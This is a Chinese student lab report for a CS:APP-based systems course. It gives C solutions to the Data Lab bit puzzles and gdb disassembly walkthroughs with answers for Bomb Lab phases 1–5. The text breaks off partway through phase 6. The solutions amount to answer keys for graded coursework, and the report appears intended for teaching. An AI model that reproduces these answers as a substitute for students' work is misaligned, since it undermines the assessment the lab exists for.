CSAPP——Lab1-3 Report

Lab1: Data Lab

姓名：张钏楠

学号：SA21011017

实验介绍

本报告为中科大研究生课程计算机系统Lab1——Data Lab（参考CMU CSAPP Lab1 ）的实验报告，主要记录实验过程中的解题思路，答案和总结。Data Lab 对应课本第一二章，需要学习者对数据在机器中的表示，位模式，Two's Complement 表示有较好的理解，同时熟练掌握位操作与逻辑运算。

实验环境

Lenovo Laptop

  • CPU: AMD Ryzen 5 2.10GHz
  • RAM: 16GB
  • OS: Ubuntu 20.04

实验详解

实验限制了可使用的 C 操作符和数量，在每个独立编程中有具体介绍。另外，整数部分实验也禁止使用任何控制结构、宏或者调用其他函数，也不能使用其他数据结构，浮点数部分实验也做了一定限制。

实验的解答直接通过代码给出，通过注释及报告中的中文来解释实验思路。

Challenge 1: bitXor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
 * bitXor - x^y using only ~ and &
 *   Example: bitXor(4, 5) = 1
 *   Legal ops: ~ &
 *   Max ops: 14
 *   Rating: 1
 */
int bitXor(int x, int y)
{
  /* Set operation, A xor B = (A or B) & ~(A & B) */
  int result = ~((~x) & (~y));
  result = result & ~(x & y);
  return result;
}

本题要求实现按位异或，只可以使用按位与&和按位取反~，考虑集合表示，按位或可表示为~((~x) & (~y))，则按位异或可表示为~((~x) & (~y)) & ~(x & y)。

Challenge 2: tmin

1
2
3
4
5
6
7
8
9
10
11
/*
 * tmin - return minimum two's complement integer
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 4
 *   Rating: 1
 */
int tmin(void)
{
  /* Just shl 1 for 31 bits */
  return 1 << 31;
}

本题要求返回 Tmin，考虑位模式和补码表示，有符号 int 类型的最小值，最高位符号位为 1，其他位均为 0，所以只需要将 1 左移 31 位。

Challenge 3: isTmax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
 * isTmax - returns 1 if x is the maximum, two's complement number,
 *     and 0 otherwise
 *   Legal ops: ! ~ & ^ | +
 *   Max ops: 10
 *   Rating: 1
 */
int isTmax(int x)
{
  /* Exclude 0xFFFFFFFF, and then test if 0x7FFFFFFF */
  return !!(x+1) &!(~(x + x + 1));
  /* another answer */
  /* return !!(~x) & !(~(x + x + 1)) */
}

本题要求判断是否为 Tmax，注意这一个 Challenge 中没有左移操作，希望检测补码表示的 int 类型的最大值 0x7FFFFFFF，我们可以通过左移再加上 1 变为 0xFFFFFFFF，此时可以通过!~(x')来检测。不过采用这种方法也需要排除本身为 0xFFFFFFFF，所以需要一个额外的!!(x+1)检测。最终答案为!!(x+1) &!(~(x + x + 1))，等价的还有!!(~x) & !(~(x + x + 1))。

Challenge 4: allOddBits

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
 * allOddBits - return 1 if all odd-numbered bits in word set to 1
 *   Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 2
 */
int allOddBits(int x)
{
  int mask = 0xAA | 0xAA << 8;
  mask = mask | mask << 16;
  return !((x & mask) ^ mask);
}

本题要求判断所有奇数位是否位 1，需要构造 mask，一个字节内奇数为 1 偶数为 0 表示为 0xAA，通过移位操作构造 32 位的 mask。通过x & mask屏蔽偶数位，同时与 mask 本身异或来检测是否全 0。最终答案按为!((x & mask) ^ mask)。

Challenge 5: negate

1
2
3
4
5
6
7
8
9
10
11
/*
 * negate - return -x
 *   Example: negate(1) = -1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 5
 *   Rating: 2
 */
int negate(int x)
{
  return ~x + 1;
}

本题要求实现负操作，根据 Two's Complement 表示，按位取反再加 1 可以的得到相反数。最终答案为~x + 1。

Challenge 6: isAsciiDigit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
 * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
 *   Example: isAsciiDigit(0x35) = 1.
 *            isAsciiDigit(0x3a) = 0.
 *            isAsciiDigit(0x05) = 0.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 15
 *   Rating: 3
 */
int isAsciiDigit(int x)
{
  /* if the 4th bit is 1, neither 3rd nor 2nd bit can be 1 */
  return !(((x >> 4) ^ 0x03) | ((x >> 3) & (x >> 2) & 0x01) | ((x >> 3) & (x >> 1) & 0x01));
}

本题要求判断输入值是否是 ASCII 表示的数。由于我们知道高四位是固定的可以做直接移位后的判断。对于低四位，需要满足当第 4 为为 1 时，第三位和第二位均不能为 1。最终答案为!(((x >> 4) ^ 0x03) | ((x >> 3) & (x >> 2) & 0x01) | ((x >> 3) & (x >> 1) & 0x01)

Challenge 7: conditional

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
 * conditional - same as x ? y : z
 *   Example: conditional(2,4,5) = 4
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 16
 *   Rating: 3
 */
int conditional(int x, int y, int z)
{
  int mask = ~0 + !x; // false ->0x0 , true -> 0xffffffff
  // or mask = (!!x)<<31>>31;
  return (mask & y) | (~mask & z);
}

本题要求实现类似 x?y:z 的条件计算。对于判断条件x我们需要实现一个 mask，当x=0时mask=0xFFFFFFFF，而当x!=0时mask=0。考虑位模式，我的实现使用逻辑非转换x为 0 或者 1，再加上 0xFFFFFFFF，即mask = ~0 + !x（或者也可以使用移位操作，mask = (!!x)<<31>>31），最后我们使用(mask & y) | (~mask & z)，就可以满足条件计算。

Challenge 8: isLessOrEqual

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
 * isLessOrEqual - if x <= y  then return 1, else return 0
 *   Example: isLessOrEqual(4,5) = 1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 24
 *   Rating: 3
 */
int isLessOrEqual(int x, int y)
{
  int mark = ~((x ^ y) >> 31);
  int not_equal = (x ^ y);
  return (((x & ~y) >> 31) & 1) | (mark & ((x + ~y + 1) >> 31) & 1) | (!not_equal);
}

本题要求实现小于等于比较，考虑符号，如果 x 为负，y 为正一定满足，如果同号则使用按位取反加 1 实现相减，然后判断符号位即可，最后再判断是否可能相等（这是符号位为 0 的特殊情况）。

Challenge 9: logicalNeg

1
2
3
4
5
6
7
8
9
10
11
12
/*
 * logicalNeg - implement the ! operator, using all of
 *              the legal operators except !
 *   Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
 *   Legal ops: ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 4
 */
int logicalNeg(int x)
{
  return ~(x | (~x + 1)) >> 31 & 1;
}

本题要求实现逻辑非运算。对于(x | (~x + 1))操作，只有x=0时最高位保持 0，利用这一点，我们取反后右移保留最高位，检测是否为 1 就可以实现逻辑非。

Challenge 10: howManyBits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* howManyBits - return the minimum number of bits required to represent x in
 *             two's complement
 *  Examples: howManyBits(12) = 5
 *            howManyBits(298) = 10
 *            howManyBits(-5) = 4
 *            howManyBits(0)  = 1
 *            howManyBits(-1) = 1
 *            howManyBits(0x80000000) = 32
 *  Legal ops: ! ~ & ^ | + << >>
 *  Max ops: 90
 *  Rating: 4
 */
int howManyBits(int x)
{
  int sign = x >> 31;
  int ans16, ans8, ans4, ans2, ans1, ans0;
  x = (sign & ~x) | (~sign & x); // if negative, flip
  ans16 = !!(x >> 16) << 4;
  x = x >> ans16;
  ans8 = !!(x >> 8) << 3;
  x = x >> ans8;
  ans4 = !!(x >> 4) << 2;
  x = x >> ans4;
  ans2 = !!(x >> 2) << 1;
  x = x >> ans2;
  ans1 = !!(x >> 1);
  x = x >> ans1;
  ans0 = x;
  return ans16 + ans8 + ans4 + ans2 + ans1 + ans0 + 1;
}

本题用来计算最少需要多少位可以用补码表示法来表示数x。我们知道

\[ B2T_w(\vec{x}) \dot= -x_{w-1}2^{w-1} + \sum_{i=0}^{w-2}x_i2^i \]

实际上对于正数，我们只需要知道最高位 1 出现的位置（再高就为 0），而负数我们只需要知道最高位 0 出现的位置（再高位填充 1）。都需要添加一个符号位，所以对于负数可以 flip 为正数。

寻找过程为 2 分法，利用!!(x >> bits)来判断该段是否有 1。有则左移至该段，否则不移动即另一端。注意最后 2 位的情况，11和10都会使ans1 = 1且ans0 = 1，事实上只有全 0（数 0）的情况会使ans0 = 0。最后注意需要加上一个符号位，最终答案把移位结果累加ans16 + ans8 + ans4 + ans2 + ans1 + ans0 + 1。

Challenge 11: floatScale2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
 * floatScale2 - Return bit-level equivalent of expression 2*f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int's, but
 *   they are to be interpreted as the bit-level representation of
 *   single-precision floating point values.
 *   When argument is NaN, return argument
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned floatScale2(unsigned uf)
{
  int exp = (uf >> 23) & 0xff;
  int sign = (1 << 31) & uf;
  int frac = uf & 0x7fffff;
  if (exp == 0xff)
  {
    // if exp = 0xff  NaN
    return uf;
  }
  if (exp == 0x00)
  {
    // mult 2
    return (uf << 1) | sign;
  }
  exp = exp + 1;
  if (exp == 0xff)
  {
    // overflow Nan
    return 0x7f800000 | sign;
  }
  else
  {
    return (exp << 23) | sign | frac;
  }
}

本题开始为浮点数部分，需要回顾课本 IEEE 标准单精度 32 位和双精度 64 位浮点数的位模式。

最高位 1 位为符号位（sign），8 为为指数位（exp），剩下的 23 位为有效位（frac）。

本题要求实现浮点数乘 2。拆分为三部分，分情况讨论

  • exp == 0xff：NaN 无穷大时仍然返回原参数
  • exp == 0x00：非规格数，这时候 frac 无起始 1，只需要将 frac 部分左移 1 位，考虑符号，整体运算等价于(uf << 1) | sign
  • exp == others： 规格化情况，先增加指数位，注意这时候判断是否为 0xff 达到无穷大。按位模式组合成新的浮点数输出即可(exp << 23) | sign | frac。

Challenge 12: floatFloat2Int

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
 * floatFloat2Int - Return bit-level equivalent of expression (int) f
 *   for floating point argument f.
 *   Argument is passed as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point value.
 *   Anything out of range (including NaN and infinity) should return
 *   0x80000000u.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
int floatFloat2Int(unsigned uf)
{
  // (int)f
  int exp = (uf >> 23) & 0xff;
  int sign = (1 << 31) & uf;
  int frac = uf & 0x7fffff;
  int exp1, frac1;
  if (exp == 0xff)
  {
    return 0x80000000u;
  }
  if (exp == 0)
  {
    return 0u;
  }
  exp1 = exp - 127;
  frac1 = 0x800000 | frac;

  if (exp1 > 31)
    return 0x80000000u;
  else if (exp1 < 0)
    return 0u;

  if (exp1 > 23)
    frac1 = frac1 << (exp1 - 23);
  else
    frac1 = frac1 >> (23 - exp1);
  if (sign)
    return ~frac1 + 1;
  else if (frac1 >> 31)
    return 0x80000000u;
  else
    return frac1;
}

本题要求转化单精度浮点数为int类型整数，大于表示范围的返回0x80000000u，需要计算加上bias的浮点表示。如果大于31（过大）也返回0x80000000u，如果小于0，转化为int会为0，所以返回0u，frac需要补上省略的10x800000 | frac，然后根据指数位结果实际左移或者右移。如果负数则按位取反+1即可。

Challenge 13: floatPower2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
 * floatPower2 - Return bit-level equivalent of the expression 2.0^x
 *   (2.0 raised to the power x) for any 32-bit integer x.
 *
 *   The unsigned value that is returned should have the identical bit
 *   representation as the single-precision floating-point number 2.0^x.
 *   If the result is too small to be represented as a denorm, return
 *   0. If too large, return +INF.
 *
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned floatPower2(int x)
{
  int exp = x + 127;
  if (exp <= 0)
    return 0;
  if (exp >= 255)
    return 0xff << 23;
  return exp << 23;
}

本题计算2^x，实现不是很困难，先加上bias，根据exp分类讨论即可。

实验结果

规范性检查

正确性

总得分36/36

Lab2: Bomb Lab

姓名：张钏楠

学号：SA21011017

实验介绍

本报告为中科大研究生课程计算机系统Lab2——Bomb Lab（参考CMU CSAPP Lab1 ）的实验报告，主要记录实验 2 二进制炸弹拆解过程以及主要思考。Bomb Lab 对应课本第三章，根据 Randal 所说，这一章也是整本书最重要的章节，我们需要学习代码的机器表示并在这个层次进行问题思考与代码分析。有很多 High Level 觉得很复杂的事情（比如递归）在底层看并无复杂。学习本章的过程也更好的熟悉并理解机器代码以及和 C 语言的关系。

实验环境

Lenovo Laptop

  • CPU: AMD Ryzen 5 2.10GHz
  • RAM: 16GB
  • OS: Ubuntu 20.04

实验详解

Phase 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) disas phase_1
Dump of assembler code for function phase_1:
   0x08048b80 <+0>:	push   %ebp
   0x08048b81 <+1>:	mov    %esp,%ebp
   0x08048b83 <+3>:	sub    $0x8,%esp
   0x08048b86 <+6>:	movl   $0x8049928,0x4(%esp)
   0x08048b8e <+14>:	mov    0x8(%ebp),%eax
   0x08048b91 <+17>:	mov    %eax,(%esp)
   0x08048b94 <+20>:	call   0x8049067 <strings_not_equal>
   0x08048b99 <+25>:	test   %eax,%eax
   0x08048b9b <+27>:	je     0x8048ba2 <phase_1+34>
   0x08048b9d <+29>:	call   0x804962e <explode_bomb>
   0x08048ba2 <+34>:	leave
   0x08048ba3 <+35>:	ret
End of assembler dump.

阅读反汇编代码，我们发现0x08048b94 <phase_1+20>call 了 strings_not_equal，我们只需要找到比对的字符串。在栈中我们发现程序分配了空间给一个地址，合理猜测有可能是比对字符串的起始地址。我们使用 gdb 打印，x/s 0x8049928字符串内容。

答案

1
I am not part of the problem. I am a Republican.

Phase 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(gdb) disas phase_2
Dump of assembler code for function phase_2:
   0x08048ba4 <+0>:	push   %ebp
   0x08048ba5 <+1>:	mov    %esp,%ebp
   0x08048ba7 <+3>:	sub    $0x28,%esp
   0x08048baa <+6>:	lea    -0x1c(%ebp),%eax
   0x08048bad <+9>:	mov    %eax,0x4(%esp)
   0x08048bb1 <+13>:	mov    0x8(%ebp),%eax
   0x08048bb4 <+16>:	mov    %eax,(%esp)
   0x08048bb7 <+19>:	call   0x8048fd4 <read_six_numbers>
   0x08048bbc <+24>:	movl   $0x1,-0x4(%ebp)
   0x08048bc3 <+31>:	jmp    0x8048be3 <phase_2+63>
   0x08048bc5 <+33>:	mov    -0x4(%ebp),%eax
   0x08048bc8 <+36>:	mov    -0x1c(%ebp,%eax,4),%edx
   0x08048bcc <+40>:	mov    -0x4(%ebp),%eax
   0x08048bcf <+43>:	dec    %eax
   0x08048bd0 <+44>:	mov    -0x1c(%ebp,%eax,4),%eax
   0x08048bd4 <+48>:	add    $0x5,%eax
   0x08048bd7 <+51>:	cmp    %eax,%edx
   0x08048bd9 <+53>:	je     0x8048be0 <phase_2+60>
   0x08048bdb <+55>:	call   0x804962e <explode_bomb>
   0x08048be0 <+60>:	incl   -0x4(%ebp)
   0x08048be3 <+63>:	cmpl   $0x5,-0x4(%ebp)
   0x08048be7 <+67>:	jle    0x8048bc5 <phase_2+33>
   0x08048be9 <+69>:	leave
   0x08048bea <+70>:	ret
End of assembler dump.

阅读反汇编代码，phase_2 前面阶段是输入六个整数。由0x08048bc3 <phase_2+31>的无条件 jump 到结尾和0x08048be7 <phase_2+67>的条件跳转 jle，为 while 循环的跳转至中间翻译。阅读中间的反汇编代码，观察判断是比较相邻输入的差是否为 5。所以只要满足+5 的等差数列就是符合条件的正确答案。

答案组合（多种）

1
2
3
1 6 11 16 21 26
250 255 260 265 270 275
...

Phase 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
(gdb) disas phase_3
Dump of assembler code for function phase_3:
   0x08048beb <+0>:	push   %ebp
   0x08048bec <+1>:	mov    %esp,%ebp
   0x08048bee <+3>:	sub    $0x28,%esp
   0x08048bf1 <+6>:	movl   $0x0,-0x8(%ebp)
   0x08048bf8 <+13>:	movl   $0x0,-0x4(%ebp)
   0x08048bff <+20>:	lea    -0x10(%ebp),%eax
   0x08048c02 <+23>:	mov    %eax,0xc(%esp)
   0x08048c06 <+27>:	lea    -0xc(%ebp),%eax
   0x08048c09 <+30>:	mov    %eax,0x8(%esp)
   0x08048c0d <+34>:	movl   $0x8049959,0x4(%esp)
   0x08048c15 <+42>:	mov    0x8(%ebp),%eax
   0x08048c18 <+45>:	mov    %eax,(%esp)
   0x08048c1b <+48>:	call   0x8048868 <sscanf@plt>
   0x08048c20 <+53>:	mov    %eax,-0x4(%ebp)
   0x08048c23 <+56>:	cmpl   $0x1,-0x4(%ebp)
   0x08048c27 <+60>:	jg     0x8048c2e <phase_3+67>
   0x08048c29 <+62>:	call   0x804962e <explode_bomb>
   0x08048c2e <+67>:	mov    -0xc(%ebp),%eax
   0x08048c31 <+70>:	mov    %eax,-0x14(%ebp)
   0x08048c34 <+73>:	cmpl   $0x7,-0x14(%ebp)
   0x08048c38 <+77>:	ja     0x8048c80 <phase_3+149>
   0x08048c3a <+79>:	mov    -0x14(%ebp),%edx
   0x08048c3d <+82>:	mov    0x8049960(,%edx,4),%eax
   0x08048c44 <+89>:	jmp    *%eax
   0x08048c46 <+91>:	addl   $0x277,-0x8(%ebp)
   0x08048c4d <+98>:	subl   $0x1b8,-0x8(%ebp)
   0x08048c54 <+105>:	addl   $0x396,-0x8(%ebp)
   0x08048c5b <+112>:	subl   $0x181,-0x8(%ebp)
   0x08048c62 <+119>:	addl   $0x2a2,-0x8(%ebp)
   0x08048c69 <+126>:	subl   $0x194,-0x8(%ebp)
   0x08048c70 <+133>:	addl   $0x194,-0x8(%ebp)
   0x08048c77 <+140>:	subl   $0x1a1,-0x8(%ebp)
   0x08048c7e <+147>:	jmp    0x8048c85 <phase_3+154>
   0x08048c80 <+149>:	call   0x804962e <explode_bomb>
   0x08048c85 <+154>:	mov    -0xc(%ebp),%eax
   0x08048c88 <+157>:	cmp    $0x5,%eax
   0x08048c8b <+160>:	jg     0x8048c95 <phase_3+170>
   0x08048c8d <+162>:	mov    -0x10(%ebp),%eax
   0x08048c90 <+165>:	cmp    %eax,-0x8(%ebp)
   0x08048c93 <+168>:	je     0x8048c9a <phase_3+175>
   0x08048c95 <+170>:	call   0x804962e <explode_bomb>
   0x08048c9a <+175>:	leave
   0x08048c9b <+176>:	ret
End of assembler dump.

输入两个数，输入第一个参数应小于 7，default 情况为引爆炸弹。

整体表达式，case 从不同地方起始运算

1
2
3
4
  + 0x277 - 0x1b8 + 0x396 - 0x181 + 0x2a2 - 0x194 + 0x194 - 0x1a1
      |       |       |       |       |       |       |       |
case: 0       1       2       3       4       5       6       7
ans: 981     350     790     642     257    -417 -13(illegal)-417(illegal)

答案组合（有多种），但注意尾部还有一个判断参数 1 是否大于 5 的限制：

1
2
3
4
5
6
0 981
1 350
2 790
3 642
4 257
5 -417

Phase 4

输入一个参数（参数过多会引爆炸弹）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) disas phase_4
Dump of assembler code for function phase_4:
   0x08048cd0 <+0>:	push   %ebp
   0x08048cd1 <+1>:	mov    %esp,%ebp
   0x08048cd3 <+3>:	sub    $0x28,%esp
   0x08048cd6 <+6>:	lea    -0xc(%ebp),%eax
   0x08048cd9 <+9>:	mov    %eax,0x8(%esp)
   0x08048cdd <+13>:	movl   $0x8049980,0x4(%esp)
   0x08048ce5 <+21>:	mov    0x8(%ebp),%eax
   0x08048ce8 <+24>:	mov    %eax,(%esp)
   0x08048ceb <+27>:	call   0x8048868 <sscanf@plt>
   0x08048cf0 <+32>:	mov    %eax,-0x4(%ebp)
   0x08048cf3 <+35>:	cmpl   $0x1,-0x4(%ebp)
   0x08048cf7 <+39>:	jne    0x8048d00 <phase_4+48>
   0x08048cf9 <+41>:	mov    -0xc(%ebp),%eax
   0x08048cfc <+44>:	test   %eax,%eax
   0x08048cfe <+46>:	jg     0x8048d05 <phase_4+53>
   0x08048d00 <+48>:	call   0x804962e <explode_bomb>
   0x08048d05 <+53>:	mov    -0xc(%ebp),%eax
   0x08048d08 <+56>:	mov    %eax,(%esp)
   0x08048d0b <+59>:	call   0x8048c9c <func4>
   0x08048d10 <+64>:	mov    %eax,-0x8(%ebp)
   0x08048d13 <+67>:	cmpl   $0x157,-0x8(%ebp)
   0x08048d1a <+74>:	je     0x8048d21 <phase_4+81>

根据反汇编0x8048d0b <phase_4+59>行和0x8048d13 <phase_4+67>行可知 phase 4 调用了一个递归函数fun4，将最后的返回结果与 0x157（十进制为 343）进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) disas func4
Dump of assembler code for function func4:
   0x08048c9c <+0>:	push   %ebp
   0x08048c9d <+1>:	mov    %esp,%ebp
   0x08048c9f <+3>:	sub    $0x8,%esp
   0x08048ca2 <+6>:	cmpl   $0x0,0x8(%ebp)
   0x08048ca6 <+10>:	jg     0x8048cb1 <func4+21>
   0x08048ca8 <+12>:	movl   $0x1,-0x4(%ebp)
   0x08048caf <+19>:	jmp    0x8048ccb <func4+47>
   0x08048cb1 <+21>:	mov    0x8(%ebp),%eax
   0x08048cb4 <+24>:	dec    %eax
   0x08048cb5 <+25>:	mov    %eax,(%esp)
   0x08048cb8 <+28>:	call   0x8048c9c <func4>
   0x08048cbd <+33>:	mov    %eax,%edx
   0x08048cbf <+35>:	mov    %edx,%eax
   0x08048cc1 <+37>:	shl    $0x3,%eax
   0x08048cc4 <+40>:	mov    %eax,%ecx
   0x08048cc6 <+42>:	sub    %edx,%ecx
   0x08048cc8 <+44>:	mov    %ecx,-0x4(%ebp)
   0x08048ccb <+47>:	mov    -0x4(%ebp),%eax
   0x08048cce <+50>:	leave
   0x08048ccf <+51>:	ret
End of assembler dump.

阅读fun4反汇编结果发现该函数判断输入参数小于等于 0 时,返回 1，否则递归调用fun4(x-1)，得到的结果乘 7 后返回，相当于以下 c 代码:

1
2
3
4
5
6
7
8
9
int fun4(int x) {
    int result= 1;
    if (x<=0){
        return result;
    } else{
        result = fun4(x-1);
        return 7*result;
    }
}

易知0x157 = 343 = 7^3，所以答案:

1
3

Phase 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(gdb) disas phase_5
Dump of assembler code for function phase_5:
   0x08048d23 <+0>:	push   %ebp
   0x08048d24 <+1>:	mov    %esp,%ebp
   0x08048d26 <+3>:	sub    $0x18,%esp
   0x08048d29 <+6>:	mov    0x8(%ebp),%eax
   0x08048d2c <+9>:	mov    %eax,(%esp)
   0x08048d2f <+12>:	call   0x804903d <string_length>
   0x08048d34 <+17>:	mov    %eax,-0x4(%ebp)
   0x08048d37 <+20>:	cmpl   $0x6,-0x4(%ebp)
   0x08048d3b <+24>:	je     0x8048d42 <phase_5+31>
   0x08048d3d <+26>:	call   0x804962e <explode_bomb>
   0x08048d42 <+31>:	movl   $0x0,-0x8(%ebp)
   0x08048d49 <+38>:	jmp    0x8048d6b <phase_5+72>
   0x08048d4b <+40>:	mov    -0x8(%ebp),%edx
   0x08048d4e <+43>:	mov    -0x8(%ebp),%eax
   0x08048d51 <+46>:	add    0x8(%ebp),%eax
   0x08048d54 <+49>:	movzbl (%eax),%eax
   0x08048d57 <+52>:	movsbl %al,%eax
   0x08048d5a <+55>:	and    $0xf,%eax
   0x08048d5d <+58>:	movzbl 0x804a5c0(%eax),%eax
   0x08048d64 <+65>:	mov    %al,-0xf(%ebp,%edx,1)
   0x08048d68 <+69>:	incl   -0x8(%ebp)
   0x08048d6b <+72>:	cmpl   $0x5,-0x8(%ebp)
   0x08048d6f <+76>:	jle    0x8048d4b <phase_5+40>
   0x08048d71 <+78>:	movb   $0x0,-0x9(%ebp)
   0x08048d75 <+82>:	movl   $0x8049983,0x4(%esp)
   0x08048d7d <+90>:	lea    -0xf(%ebp),%eax
   0x08048d80 <+93>:	mov    %eax,(%esp)
   0x08048d83 <+96>:	call   0x8049067 <strings_not_equal>
   0x08048d88 <+101>:	test   %eax,%eax
   0x08048d8a <+103>:	je     0x8048d91 <phase_5+110>
   0x08048d8c <+105>:	call   0x804962e <explode_bomb>
   0x08048d91 <+110>:	leave
   0x08048d92 <+111>:	ret
End of assembler dump.

阅读汇编代码，读取一个字符串，如果长度不为 6 会直接引爆炸弹。后面紧跟一个循环。阅读循环体内容我们可以发现，每次将输入的字符串转化为一个偏移量。

1
2
3
0x08048d54 <+49>:	movzbl (%eax),%eax
0x08048d57 <+52>:	movsbl %al,%eax
0x08048d5a <+55>:	and    $0xf,%eax

and $0xf,%eax，对字母对应的 ASCII 值只取最低字节作为偏移，然后从起始地址 0x804a5c0 加偏移取出新字符。调用 gdb 指令x/s 0x804a5c0查看，同时查看我们最终要比对的字符串。

1
2
3
4
(gdb) x/s 0x804a5c0
0x804a5c0 <array.2482>:	"isrveawhobpnutfg\022\002"
(gdb) x/s 0x8049983
0x8049983:	"saints"

可以确定我们要加的偏移量为1，5，0，11，13，1。

根据前面计算偏移的规则（注意低字节为 0 的字母为p），我们的答案是

1
aepkma

Phase 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(gdb) disas phase_6
Dump of assembler code for function phase_6:
   0x08048e27 <+0>:	push   %ebp
   0x08048e28 <+1>:	mov    %esp,%ebp
   0x08048e2a <+3>:	sub    $0x18,%esp
   0x08048e2d <+6>:	movl   $0x804a630,-0x8(%ebp)
   0x08048e34 <+13>:	mov    0x8(%ebp),%eax
   0x08048e37 <+16>:	mov    %eax,(%esp)
   0x08048e3a <+19>:	call   0x8048858 <atoi@plt>
   0x08048e3f <+24>:	mov    %eax,-0xc(%ebp)
   0x08048e42 <+27>:	mov    -0x8(%ebp),%eax
   0x08048e45 <+30>:	mov    %eax,(%esp)
   0x08048e48 <+33>:	call   0x8048d93 <fun6>
   0x08048e4d <+38>:	mov    %eax,-0x8(%ebp)
   0x08048e50 <+41>:	mov    -0x8(%ebp),%eax
   0x08048e53 <+44>:	mov    %eax,-0x4(%ebp)
   0x08048e56 <+47>:	movl   $0x1,-0x10(%ebp)
   0x08048e5d <+54>:	jmp    0x8048e6b <phase_6+68>
   0x08048e5f <+56>:	mov    -0x4(%ebp),%eax
   0x08048e62 <+59>:	mov    0x8(%eax),%eax
   0x08048e65 <+62>:	mov    %eax,-0x4(%ebp)
   0x08048e68 <+65>:	incl   -0x10(%ebp)
   0x08048e6b <+68>:	cmpl   $0x4,-0x10(%ebp)
   0x08048e6f <+72>:	jne    0x8048e5f <phase_6+56>
   0x08048e71 <+74>:	mov    -0x4(%ebp),%eax
   0x08048e74 <+77>:	mov    (%eax),%eax
   0x08048e76 <+79>:	cmp    -0xc(%ebp),%eax
   0x08048e79 <+82>:	je     0x8048e80 <phase_6+89>
   0x08048e7b <+84>:	call   0x804962e <explode_bomb>
   0x08048e80 <+89>:	leave
   0x08048e81 <+90>:	ret
End of assembler dump.

其中0x08048e5f <phase_6+56>到0x08048e65 <phase_6+62>很像列表的访问。p = p->next，寄存器保存指针值，指向位置偏移的值赋给指针自身。最后终止时指向值与 atoi 转换的结果是否一致。while 循环变量知循环了四轮。

fun6 的反汇编结果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
(gdb) disas fun6
Dump of assembler code for function fun6:
   0x08048d93 <+0>:	push   %ebp
   0x08048d94 <+1>:	mov    %esp,%ebp
   0x08048d96 <+3>:	sub    $0x10,%esp
   0x08048d99 <+6>:	mov    0x8(%ebp),%eax
   0x08048d9c <+9>:	mov    %eax,-0x10(%ebp)
   0x08048d9f <+12>:	mov    0x8(%ebp),%eax
   0x08048da2 <+15>:	mov    %eax,-0x10(%ebp)
   0x08048da5 <+18>:	mov    0x8(%ebp),%eax
   0x08048da8 <+21>:	mov    0x8(%eax),%eax
   0x08048dab <+24>:	mov    %eax,-0xc(%ebp)
   0x08048dae <+27>:	mov    -0x10(%ebp),%eax
   0x08048db1 <+30>:	movl   $0x0,0x8(%eax)
   0x08048db8 <+37>:	jmp    0x8048e1c <fun6+137>
   0x08048dba <+39>:	mov    -0x10(%ebp),%eax
   0x08048dbd <+42>:	mov    %eax,-0x4(%ebp)
   0x08048dc0 <+45>:	mov    -0x10(%ebp),%eax
   0x08048dc3 <+48>:	mov    %eax,-0x8(%ebp)
   0x08048dc6 <+51>:	jmp    0x8048dd7 <fun6+68>
   0x08048dc8 <+53>:	mov    -0x4(%ebp),%eax
   0x08048dcb <+56>:	mov    %eax,-0x8(%ebp)
   0x08048dce <+59>:	mov    -0x4(%ebp),%eax
   0x08048dd1 <+62>:	mov    0x8(%eax),%eax
   0x08048dd4 <+65>:	mov    %eax,-0x4(%ebp)
   0x08048dd7 <+68>:	cmpl   $0x0,-0x4(%ebp)
   0x08048ddb <+72>:	je     0x8048deb <fun6+88>
   0x08048ddd <+74>:	mov    -0x4(%ebp),%eax
